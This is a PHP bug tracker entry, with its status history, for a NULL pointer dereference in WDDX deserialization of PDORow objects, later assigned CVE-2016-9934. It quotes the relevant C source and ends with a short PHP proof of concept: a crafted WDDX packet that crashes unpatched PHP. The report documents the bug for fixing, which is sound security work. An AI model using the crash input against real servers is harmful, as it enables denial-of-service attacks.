|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-10-17 19:48 UTC] stas@php.net
[2016-10-24 01:43 UTC] stas@php.net
-Package: WDDX related
+Package: PDO Core
[2016-10-24 01:43 UTC] stas@php.net
[2016-10-24 01:50 UTC] stas@php.net
-Package: PDO Core
+Package: WDDX related
[2016-10-24 01:50 UTC] stas@php.net
[2016-10-24 03:22 UTC] stas@php.net
[2016-10-24 03:24 UTC] stas@php.net
-Assigned To:
+Assigned To: stas
[2016-10-25 01:43 UTC] stas@php.net
-CVE-ID:
+CVE-ID: needed
[2016-11-16 04:01 UTC] stas@php.net
-Status: Assigned
+Status: Closed
[2016-11-16 04:01 UTC] stas@php.net
[2016-12-13 11:51 UTC] kaplan@php.net
-CVE-ID: needed
+CVE-ID: 2016-9934
[2016-12-13 11:51 UTC] kaplan@php.net
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 23:00:01 2025 UTC |
Description: ------------ wddx.c ``` object_init_ex(obj, *pce); ``` The PDORow object will be created in during WDDX packet deserialization. pdo_stmt.c ``` void pdo_stmt_init(TSRMLS_D) { ... pdo_row_ce->create_object = pdo_row_new; ... zend_object_value pdo_row_new(zend_class_entry *ce TSRMLS_DC) { zend_object_value retval; retval.handle = zend_objects_store_put(NULL, (zend_objects_store_dtor_t)zend_objects_destroy_object, (zend_objects_free_object_storage_t)pdo_row_free_storage, NULL TSRMLS_CC); retval.handlers = &pdo_row_object_handlers; return retval; } ``` But the PDORow object isn’t initialized in the pdo_row_new. wddx.c ``` zend_hash_merge(Z_OBJPROP_P(obj), Z_ARRVAL_P(ent2->data), (void (*)(void *)) zval_add_ref, (void *) &tmp, sizeof(zval *), 0); ``` Then the `Z_OBJPROP_P` macro will call to the PDORow object's get_properties handler. pdo_stmt.c ``` static HashTable *row_get_properties(zval *object TSRMLS_DC) { pdo_stmt_t * stmt = (pdo_stmt_t *) zend_object_store_get_object(object TSRMLS_CC); int i; if (stmt == NULL) { return NULL; } ``` Thus the row_get_properties will return NULL, this result in NULL pointer dereference. PoC: ``` <?php $wddx = "<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>PDORow</string></var></struct></data></wddxPacket>"; var_dump(wddx_deserialize($wddx)); ?> ```